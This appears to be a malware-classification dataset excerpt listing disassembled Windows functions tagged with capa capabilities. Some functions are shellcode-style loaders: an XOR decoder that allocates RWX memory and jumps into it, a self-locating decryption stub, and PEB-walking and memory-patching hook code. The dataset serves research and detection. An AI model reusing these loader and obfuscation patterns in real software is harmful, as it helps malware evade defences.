joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4117ae
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x2001f
xor ebx, ebx
push ebx
push 0x437248
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
je 0x4117dd
mov eax, 0x80004005
jmp 0x4119af
push esi
push edi
mov edi, dword [ebp + 8]
lea esi, [edi + 0x108]
mov eax, esi
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4117ed
sub eax, ecx
push eax
push esi
mov esi, dword [sym.imp.advapi32.dll_RegSetValueExA]
push 1
push ebx
push 0x437270
push dword [ebp - 4]
call esi
lea ecx, [edi + 0x988]
mov eax, ecx
lea edx, [eax + 1]
mov dword [ebp + 8], edx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x411819
sub eax, dword [ebp + 8]
push eax
push ecx
push 1
push ebx
push 0x437280
push dword [ebp - 4]
call esi
lea ecx, [edi + 0x588]
mov eax, ecx
lea edx, [eax + 1]
mov dword [ebp + 8], edx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x411840
sub eax, dword [ebp + 8]
push eax
push ecx
push 1
push ebx
push 0x437290
push dword [ebp - 4]
call esi
lea ecx, [edi + 0x208]
mov eax, ecx
lea edx, [eax + 1]
mov dword [ebp + 8], edx
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x411867
sub eax, dword [ebp + 8]
push eax
push ecx
push 1
push ebx
push 0x4372a4
push dword [ebp - 4]
call esi
lea eax, [edi + 0x1408]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x4118b8
lea eax, [edi + 0x1408]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x41189a
sub eax, ecx
push eax
lea eax, [edi + 0x1408]
push eax
push 1
push ebx
push 0x4372b8
push dword [ebp - 4]
call esi
lea eax, [edi + 0x1008]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x4118f0
lea eax, [edi + 0x1008]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x4118d2
sub eax, ecx
push eax
lea eax, [edi + 0x1008]
push eax
push 1
push ebx
push 0x4372c8
push dword [ebp - 4]
call esi
lea eax, [edi + 0xd88]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x411928
lea eax, [edi + 0xd88]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x41190a
sub eax, ecx
push eax
lea eax, [edi + 0xd88]
push eax
push 1
push ebx
push 0x4372d4
push dword [ebp - 4]
call esi
lea eax, [edi + 0xf88]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x411960
lea eax, [edi + 0xf88]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x411942
sub eax, ecx
push eax
lea eax, [edi + 0xf88]
push eax
push 1
push ebx
push 0x4372e4
push dword [ebp - 4]
call esi
lea eax, [edi + 0xe88]
push eax
call dword [sym.imp.kernel32.dll_lstrlenA]
test eax, eax
jle 0x411998
lea eax, [edi + 0xe88]
lea ecx, [eax + 1]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x41197a
sub eax, ecx
push eax
lea eax, [edi + 0xe88]
push eax
push 1
push ebx
push 0x4372f0
push dword [ebp - 4]
call esi
push dword [ebp - 4]
mov ecx, edi
call fcn.00426fbf
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
pop edi
xor eax, eax
pop esi
pop ebx
leave
ret 4
Function at 0x4150ef
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x4330d0
call fcn.0041b53c
sub esp, 0x20
push ebx
push esi
mov esi, ecx
xor ebx, ebx
cmp dword [esi + 0x44], ebx
je 0x4151e4
cmp byte [esi + 0x49], bl
je 0x4151e4
mov eax, dword [esi]
push 0xffffffffffffffff
call dword [eax + 0xc]
cmp eax, 0xffffffff
jne 0x415127
xor al, al
jmp 0x4151e6
push ebx
push 8
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], ebx
mov byte [ebp - 0x2c], bl
call fcn.00426fbf
mov dword [ebp - 4], ebx
push edi
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x415187
lea eax, [ebp - 0x2c]
mov edx, eax
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x10]
push ebx
mov ebx, dword [ebp - 0x1c]
add ebx, eax
push ebx
push edx
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x18]
sub eax, 0
je 0x41518c
dec eax
je 0x415190
dec eax
dec eax
je 0x4151e0
xor bl, bl
push 0
push 1
lea ecx, [ebp - 0x2c]
call fcn.00426fbf
mov al, bl
pop edi
jmp 0x4151e6
mov edx, dword [ebp - 0x2c]
jmp 0x415151
mov byte [esi + 0x49], 0
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x41519c
lea eax, [ebp - 0x2c]
mov edi, dword [ebp - 0x10]
sub edi, eax
je 0x4151c2
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x4151af
lea eax, [ebp - 0x2c]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.0041dea0
add esp, 0x10
cmp edi, eax
jne 0x415174
cmp byte [esi + 0x49], 0
je 0x4151e0
test edi, edi
jne 0x415143
push edi
push 8
lea ecx, [ebp - 0x2c]
call fcn.00426fbf
jmp 0x415143
mov bl, 1
jmp 0x415176
mov al, 1
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x415906
Capabilities:
Write file on windows

Disassembly:
mov eax, 0x433098
call fcn.0041b53c
sub esp, 0x28
push ebx
mov ebx, dword [ebp + 8]
push esi
mov esi, ecx
cmp ebx, 0xffffffff
jne 0x415912
xor eax, eax
jmp 0x41593a
mov eax, dword [esi + 0x24]
mov ecx, dword [eax]
push edi
xor edi, edi
cmp ecx, edi
je 0x41594a
mov eax, dword [esi + 0x34]
mov edx, dword [eax]
add edx, ecx
cmp ecx, edx
jae 0x41594a
dec dword [eax]
mov esi, dword [esi + 0x24]
mov eax, dword [esi]
lea ecx, [eax + 1]
mov dword [esi], ecx
mov byte [eax], bl
mov eax, ebx
pop edi
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
cmp dword [esi + 0x54], edi
je 0x41596a
mov ecx, esi
call fcn.004121d5
cmp dword [esi + 0x44], edi
jne 0x41596f
push dword [esi + 0x54]
push ebx
call fcn.00426fbf
pop ecx
pop ecx
test al, al
jne 0x415937
or eax, 0xffffffff
jmp 0x415939
push edi
push 8
lea ecx, [ebp - 0x34]
mov byte [ebp - 0x10], bl
mov dword [ebp - 0x20], 0xf
mov dword [ebp - 0x24], edi
mov byte [ebp - 0x34], 0
call fcn.00426fbf
mov dword [ebp - 4], edi
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x415a22
lea eax, [ebp - 0x34]
mov edx, eax
add eax, dword [ebp - 0x24]
mov ecx, dword [esi + 0x44]
mov edi, dword [ecx]
lea ebx, [ebp - 0x14]
push ebx
push eax
push edx
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xf]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [esi + 0x4c]
push eax
call dword [edi + 0x14]
test eax, eax
js 0x415a40
cmp eax, 1
jg 0x415a2a
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x4159d6
lea eax, [ebp - 0x34]
mov edi, dword [ebp - 0x14]
sub edi, eax
je 0x4159fc
cmp dword [ebp - 0x20], 0x10
mov eax, dword [ebp - 0x34]
jae 0x4159e9
lea eax, [ebp - 0x34]
push dword [esi + 0x54]
push edi
push 1
push eax
call fcn.0041dea0
add esp, 0x10
cmp edi, eax
jne 0x415a40
lea eax, [ebp - 0x10]
mov byte [esi + 0x49], 1
cmp dword [ebp - 0x18], eax
jne 0x415a56
test edi, edi
jne 0x41598e
cmp dword [ebp - 0x24], 0x20
jae 0x415a40
push edi
push 8
lea ecx, [ebp - 0x34]
call fcn.00426fbf
jmp 0x41598e
mov edx, dword [ebp - 0x34]
jmp 0x4159a0
cmp eax, 3
jne 0x415a40
push dword [esi + 0x54]
push dword [ebp - 0x10]
call fcn.00426fbf
pop ecx
pop ecx
test al, al
jne 0x415a56
or esi, 0xffffffff
push 0
push 1
lea ecx, [ebp - 0x34]
call fcn.00426fbf
mov eax, esi
jmp 0x415939
mov esi, dword [ebp + 8]
jmp 0x415a43
Function at 0x417596
Capabilities:
Delete registry value
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x2001f
push 0
push 0x439088
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.advapi32.dll_RegOpenKeyExA]
test eax, eax
je 0x4175bd
xor eax, eax
leave
ret
push esi
mov esi, dword [sym.imp.advapi32.dll_RegDeleteValueA]
push 0x4390b0
push dword [ebp - 4]
call esi
push str.InstallOptions
push dword [ebp - 4]
call esi
push str.UpdateDescription
push dword [ebp - 4]
call esi
push str.UpdateTitle1
push dword [ebp - 4]
call esi
push str.UpdateTitle2
push dword [ebp - 4]
call esi
push str.UpdateMoreInfoUrl
push dword [ebp - 4]
call esi
push str.BalloonTitle
push dword [ebp - 4]
call esi
push str.BalloonTip
push dword [ebp - 4]
call esi
push str.DlgCaption
push dword [ebp - 4]
call esi
push str.MoreInfoTxt
push dword [ebp - 4]
call esi
push str.PreDownld
push dword [ebp - 4]
call esi
push str.UrlInfo
push dword [ebp - 4]
call esi
push str.NumTries
push dword [ebp - 4]
call esi
push str.LastUDCheckTime
push dword [ebp - 4]
call esi
push str.VersionXmlChecksum
push dword [ebp - 4]
call esi
push 0x439190
push dword [ebp - 4]
call esi
call fcn.00426fbf
test eax, eax
je 0x417677
push str.TransferJobID
push dword [ebp - 4]
call esi
push dword [ebp - 4]
call dword [sym.imp.advapi32.dll_RegCloseKey]
xor eax, eax
inc eax
pop esi
leave
ret
Function at 0x41974f
Capabilities:
Delete file
Delete registry value
Query or enumerate registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x41c
push ebx
push esi
push edi
mov edi, 0x400
lea eax, [ebp - 0x41c]
push edi
push eax
call fcn.00426fbf
mov esi, dword [sym.imp.kernel32.dll_DeleteFileA]
pop ecx
pop ecx
test eax, eax
js 0x419782
lea eax, [ebp - 0x41c]
push eax
call esi
lea eax, [ebp - 0x41c]
push eax
call fcn.00426fbf
pop ecx
test eax, eax
je 0x4197ab
lea eax, [ebp - 0x41c]
push eax
push eax
call fcn.00426fbf
pop ecx
pop ecx
lea eax, [ebp - 0x41c]
push eax
call esi
call fcn.00426fbf
xor esi, esi
push esi
push str.PreDownldStatus
push esi
call fcn.00426fbf
mov ebx, dword [sym.imp.advapi32.dll_RegEnumKeyA]
add esp, 0xc
push edi
lea eax, [ebp - 0x41c]
push eax
mov dword [ebp - 4], esi
push esi
mov esi, SysStringLen
jmp 0x41984c
inc dword [ebp - 4]
xor eax, eax
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x10], eax
mov dword [ebp - 0xc], eax
mov dword [ebp - 8], eax
push 0x20019
lea eax, [ebp - 0x41c]
push eax
push esi
lea ecx, [ebp - 0x1c]
call fcn.00426fbf
lea ecx, [ebp - 0x10]
test eax, eax
jne 0x419834
push 0x2001f
push 0x439050
push dword [ebp - 0x1c]
call fcn.00426fbf
test eax, eax
jne 0x419831
push str.VersionXmlURL
push dword [ebp - 0x10]
call dword [sym.imp.advapi32.dll_RegDeleteValueA]
lea ecx, [ebp - 0x10]
call fcn.0040a137
lea ecx, [ebp - 0x1c]
call fcn.0040a137
push edi
lea eax, [ebp - 0x41c]
push eax
push dword [ebp - 4]
push esi
call ebx
test eax, eax
je 0x4197da
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41a6a5
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x4470e0], 0
push esi
push edi
jne 0x41a61b
call fcn.0041a587
test eax, eax
je 0x41a660
mov eax, dword [0x4470e0]
cmp eax, 1
jne 0x41a63c
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x41a660
jmp 0x41a6a2
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x41a6a2
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x41a664
xor eax, eax
jmp 0x41a6a2
mov eax, dword [esi]
push dword [0x4470e0]
call edi
mov edi, eax
test edi, edi
je 0x41a686
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x41a6a2
lea edi, [esi + 0xff0]
push esi
push dword [0x4470e0]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x41a68c
mov eax, esi
pop edi
pop esi
ret
jmp 0x41a607

Function at 0x42208d
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x445e00]
jne 0x422097
repz ret
jmp fcn.004281f4
Function at 0x426fbf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x426fce
pop dword [ebp - 0x20]
mov eax, 0x95289cb0
add eax, 0x6b19d31e
sub dword [ebp - 0x20], eax
push 0x40
push 0x1000
push 0x4546d
push 0
mov eax, 0x2a9ceea1
sub eax, 0x2a59ad61
add eax, dword [ebp - 0x20]
call dword [eax]
mov ecx, 0xc79ceef1
add ecx, 0x386363e3
xor edx, edx
add edx, eax
mov ebx, 0xff9b1b2e
sub ebx, 0xff53252e
add ebx, dword [ebp - 0x20]
mov edi, 0x46c83818
sub edi, 0x9f84ccee
mov dword [ebp - 8], 0x20a01aaf
mov esi, dword [ebx]
xor dword [ebp - 0x10], esi
xor esi, edi
mov dword [edx], esi
xor dword [ebp - 8], 0x12e72f21
add edx, 0xc8e03412
sub edx, 0xc8e0340e
add ebx, 0x279d9a7e
add ebx, 0xd8626586
loop 0x42702f
add eax, 0xb96de058
add eax, 0x46935dcb
mov ebx, eax
add eax, 0xb75875c
add eax, 0xf48a78a9
mov ecx, 0x400000
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x7b40d0
Capabilities:
Encode data using xor

Disassembly:
jmp 0x7b40da
pushal
call 0x7b40e0
pop ebp
sub ebp, 0x10
sub ebp, 0x3b40d0
jmp 0x7b40f6
mov eax, 0x3b40d0
add eax, ebp
add eax, 0x4c
mov ecx, 0x5f1
mov edx, 0xa5deac39
xor byte [eax], dl
inc eax
dec ecx
jne 0x7b410d
jmp 0x7b4120
mov dl, 0xf4
mov dl, 0xb0
add eax, 0xb8393939
clc
sar dword [ecx], 0x39
cmp dword [edx], edi
hlt
Function at 0x4018e0
Capabilities:
Write file on windows

Disassembly:
push ebx
sub esp, 0x18
mov dword [esp], 2
lea ebx, [esp + 0x24]
call fcn.00407e60
mov dword [esp + 8], 0x1b
mov dword [esp + 0xc], eax
mov dword [esp + 4], 1
mov dword [esp], str.Mingw_w64_runtime_failure:_n
call sub.msvcrt.dll_fwrite
mov dword [esp], 2
call fcn.00407e60
mov edx, dword [esp + 0x20]
mov dword [esp + 8], ebx
mov dword [esp], eax
mov dword [esp + 4], edx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
lea esi, [esi]

Function at 0x401940
Capabilities:
Allocate or change rwx memory

Disassembly:
push edi
push esi
push ebx
mov ebx, eax
sub esp, 0x30
mov esi, dword [0x412078]
test esi, esi
jle 0x401a60
mov eax, dword [0x41207c]
xor ecx, ecx
add eax, 0xc
mov edx, dword [eax]
cmp edx, ebx
ja 0x401974
mov edi, dword [eax + 4]
add edx, dword [edi + 8]
cmp ebx, edx
jb 0x4019f7
add ecx, 1
add eax, 0x14
cmp ecx, esi
jne 0x401960
mov dword [esp], ebx
call fcn.004022c0
mov edi, eax
test eax, eax
je 0x401a87
mov eax, dword [0x41207c]
lea ebx, [esi + esi*4]
shl ebx, 2
add eax, ebx
mov dword [eax + 0x10], edi
mov dword [eax], 0
call fcn.00402400
mov edx, dword [0x41207c]
add eax, dword [edi + 0xc]
mov dword [edx + ebx + 0xc], eax
lea edx, [esp + 0x14]
mov dword [esp + 8], 0x1c
mov dword [esp + 4], edx
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
sub esp, 0xc
test eax, eax
je 0x401a67
mov eax, dword [esp + 0x28]
lea edx, [eax - 0x40]
and edx, 0xffffffbf
je 0x4019f0
lea edx, [eax - 4]
and edx, 0xfffffffb
jne 0x401a00
add dword [0x412078], 1
add esp, 0x30
pop ebx
pop esi
pop edi
ret
cmp eax, 2
mov edx, 0x40
mov eax, 4
mov ecx, dword [esp + 0x20]
cmovne eax, edx
mov edx, dword [esp + 0x14]
add ebx, dword [0x41207c]
mov dword [ebx + 8], ecx
mov dword [ebx + 4], edx
mov dword [esp + 0xc], ebx
mov dword [esp + 8], eax
mov dword [esp + 4], ecx
mov dword [esp], edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
test eax, eax
jne 0x4019f0
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp], str.__VirtualProtect_failed_with_code_0x_x
mov dword [esp + 4], eax
call fcn.004018e0
lea esi, [esi]
lea esi, [esi]
xor esi, esi
jmp 0x40197e
mov eax, dword [0x41207c]
mov eax, dword [eax + ebx + 0xc]
mov dword [esp + 8], eax
mov eax, dword [edi + 8]
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov dword [esp + 4], eax
call fcn.004018e0
mov dword [esp + 4], ebx
mov dword [esp], str.Address__p_has_no_image_section
call fcn.004018e0
lea esi, [esi]
nop
Function at 0x401f40
Capabilities:
Get thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov dword [esp], 0x412094
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ebx, dword [0x41208c]
sub esp, 4
test ebx, ebx
je 0x401f95
mov ebp, dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
lea esi, [esi]
mov eax, dword [ebx]
mov dword [esp], eax
call ebp
sub esp, 4
mov esi, eax
call edi
test eax, eax
jne 0x401f8e
test esi, esi
je 0x401f8e
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x401f70
mov dword [esp], 0x412094
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
sub esp, 4
add esp, 0x1c
pop ebx
pop esi
pop edi
pop ebp
ret

Function at 0x4022c0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [0x400000], 0x5a4d
jne 0x4022e5
mov ecx, dword [0x40003c]
cmp dword [ecx + 0x400000], 0x4550
lea edx, [ecx + 0x400000]
je 0x4022f0
ret
cmp word [ecx + 0x400018], 0x10b
jne 0x4022e5
push esi
movzx eax, word [ecx + 0x400014]
push ebx
movzx esi, word [ecx + 0x400006]
mov ebx, dword [esp + 0xc]
lea eax, [edx + eax + 0x18]
sub ebx, 0x400000
test esi, esi
je 0x402338
xor ecx, ecx
nop
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x40232e
add edx, dword [eax + 8]
cmp ebx, edx
jb 0x40233a
add ecx, 1
add eax, 0x28
cmp ecx, esi
jne 0x402320
xor eax, eax
pop ebx
pop esi
ret
Function at 0x408540
Capabilities:
Get thread local storage value

Disassembly:
push edi
push esi
push ebx
sub esp, 0x20
mov edi, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, dword [esp + 0x34]
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov esi, dword [esp + 0x38]
mov dword [esp + 4], ebx
mov dword [esp], 0
call edi
mov dword [0x40d038], eax
sub esp, 0x10
test eax, eax
je 0x4084df
mov dword [esp + 0xc], 4
mov dword [esp + 8], 0x3000
mov dword [esp + 4], esi
mov dword [esp], 0
call edi
mov dword [0x40d110], eax
sub esp, 0x10
test eax, eax
je 0x408509
mov edx, dword [esp + 0x40]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x10], ebx
mov dword [esp + 0x18], edx
mov edx, dword [esp + 0x3c]
mov dword [esp + 8], esi
mov dword [esp + 0x14], edx
mov edx, dword [0x40d038]
mov dword [esp], eax
mov dword [esp + 0xc], edx
call sub.libavs_win32.dll_Ordinal_285
add esp, 0x20
pop ebx
pop esi
pop edi
ret
mov esi, dword [0x40d0e8]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 8], ebx
mov dword [esp + 0xc], eax
mov dword [esp + 4], str.Failed_to_VirtualAlloc__d_byte_AVS_heap:__08x
mov dword [esp], 0x40e072
call esi
call sub.msvcrt.dll_abort
mov ebx, dword [0x40d0e8]
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [esp + 8], esi
mov dword [esp + 0xc], eax
mov dword [esp + 4], str.Failed_to_VirtualAlloc__d_byte__std__heap:__08x
mov dword [esp], 0x40e072
call ebx
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push esi
xor esi, esi
push ebx
sub esp, 0x14
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov ebx, eax
mov eax, dword [eax + 8]
sub esp, 4
mov edx, dword [ebx + 4]
cmp eax, edx
jb 0x408570
add esp, 0x14
mov eax, esi
pop ebx
pop esi
ret
sub edx, eax
cmp edx, dword [esp + 0x28]
mov esi, edx
cmova esi, dword [esp + 0x28]
add eax, dword [ebx]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp + 8], esi
mov dword [esp], eax
call sub.msvcrt.dll_memcpy
add dword [ebx + 8], esi
add esp, 0x14
mov eax, esi
pop ebx
pop esi
ret
Function at 0x408610
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x1c
mov ebp, dword [esp + 0x30]
mov dword [esp + 4], 0x40eb3c
mov dword [esp], ebp
call sub.msvcrt.dll_fopen
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [esp + 4], ebx
mov dword [esp], eax
mov esi, eax
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
test ebx, ebx
je 0x4086db
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], esi
mov dword [esp], 0x4085a0
call sub.libavs_win32.dll_Ordinal_159
mov edi, eax
test eax, eax
js 0x408717
mov dword [esp], eax
call fcn.0040bf80
mov dword [esp + 8], edi
mov dword [esp + 4], eax
mov dword [esp], 0x17
call sub.libavs_win32.dll_Ordinal_127
mov dword [esp], ebx
mov edi, eax
call sub.msvcrt.dll_rewind
mov dword [esp + 0xc], esi
mov dword [esp + 8], 0x4085a0
mov dword [esp + 4], 0
mov dword [esp], edi
call sub.libavs_win32.dll_Ordinal_131
test eax, eax
je 0x4086f9
mov dword [esp], esi
call dword [sym.imp.KERNEL32.dll_TlsFree]
sub esp, 4
mov dword [esp], ebx
call sub.msvcrt.dll_fclose
add esp, 0x1c
mov eax, edi
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebp
mov dword [esp + 4], str._s:_Error_opening_configuration_file
mov dword [esp], 0x40eb65
call dword [0x40d0e8]
call sub.msvcrt.dll_abort
mov dword [esp + 8], ebp
mov dword [esp + 4], str._s:_Error_reading_configuration_file
mov dword [esp], 0x40eb65
call dword [0x40d0e8]
call sub.msvcrt.dll_abort
mov dword [esp + 8], ebp
mov dword [esp + 4], str._s:_Error_querying_configuration_file
mov dword [esp], 0x40eb65
call dword [0x40d0e8]
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop

Function at 0x408740
Capabilities:
Allocate thread local storage
Set thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x24
mov eax, dword [esp + 0x30]
mov dword [esp], eax
mov dword [esp + 0x14], eax
call sub.msvcrt.dll_strlen
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
mov ebx, eax
lea eax, [esp + 0x14]
mov dword [esp + 4], eax
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
sub esp, 8
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], ebx
mov dword [esp], 0x408540
call sub.libavs_win32.dll_Ordinal_159
test eax, eax
js 0x4087fd
mov dword [esp], eax
mov esi, eax
call fcn.0040bf80
mov dword [esp + 8], esi
mov dword [esp + 4], eax
mov dword [esp], 0x17
call sub.libavs_win32.dll_Ordinal_127
mov dword [esp + 0xc], ebx
mov dword [esp + 8], 0x408540
mov esi, eax
mov dword [esp + 4], 0
mov dword [esp], eax
mov dword [esp + 0x1c], 0
call sub.libavs_win32.dll_Ordinal_131
test eax, eax
je 0x408817
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_TlsFree]
mov eax, esi
sub esp, 4
add esp, 0x24
pop ebx
pop esi
ret
mov dword [esp + 4], str.Error_querying_configuration_string
mov dword [esp], 0x40eb65
call dword [0x40d0e8]
call sub.msvcrt.dll_abort
mov dword [esp + 4], str.Error_inserting_configuration_string
mov dword [esp], 0x40eb65
call dword [0x40d0e8]
call sub.msvcrt.dll_abort
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
ret
Function at 0x40aca0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
sub esp, 0x1c
mov eax, dword [esp + 0x20]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
sub esp, 4
cmp eax, 0xffffffff
setne al
add esp, 0x1c
ret

Function at 0x40b320
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
push edi
push esi
push ebx
sub esp, 0x2c
mov ebx, dword [esp + 0x40]
mov esi, dword [esp + 0x48]
test ebx, ebx
je 0x40b3e0
mov eax, dword [esp + 0x44]
test eax, eax
je 0x40b410
lea ebp, [esp + 0x1c]
mov dword [esp + 4], esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], 0x40
mov dword [esp], ebx
call edi
sub esp, 0x10
test eax, eax
je 0x40b3a8
mov eax, dword [esp + 0x44]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sub.msvcrt.dll_memcpy
mov eax, dword [esp + 0x1c]
mov dword [esp + 0xc], ebp
mov dword [esp + 4], esi
mov dword [esp + 8], eax
mov dword [esp], ebx
call edi
mov edx, eax
sub esp, 0x10
xor eax, eax
test edx, edx
je 0x40b3a8
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
call ebx
test eax, eax
jle 0x40b3d0
call ebx
add esp, 0x2c
movzx eax, ax
pop ebx
pop esi
or eax, 0x80070000
pop edi
pop ebp
ret
call ebx
add esp, 0x2c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], 0xc1
mov dword [esp + 4], str.src_main_hook_pe.c
mov dword [esp], str.dest___NULL
call dword [sym.imp.msvcrt.dll__assert]
mov eax, dword [esp + 0x44]
test eax, eax
jne 0x40b343
lea esi, [esi]
mov dword [esp + 8], 0xc2
mov dword [esp + 4], str.src_main_hook_pe.c
mov dword [esp], str.src___NULL
call dword [sym.imp.msvcrt.dll__assert]
jmp 0x40b343

Function at 0x40b750
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x14]
sub eax, 8
ret

Function at 0x40b760
Capabilities:
Access peb ldr_data

Disassembly:
push ebx
sub esp, 0x18
mov ebx, dword [esp + 0x20]
test ebx, ebx
je 0x40b790
mov edx, dword fs:[0x30]
mov edx, dword [edx + 0xc]
mov eax, dword [ebx + 8]
cmp dword [edx + 0x14], eax
je 0x40b7b0
sub eax, 8
add esp, 0x18
pop ebx
ret
mov dword [esp + 8], 0x21
mov dword [esp + 4], str.src_main_hook_peb.c
mov dword [esp], str.dll___NULL
call dword [sym.imp.msvcrt.dll__assert]
jmp 0x40b76c
xor eax, eax
jmp 0x40b781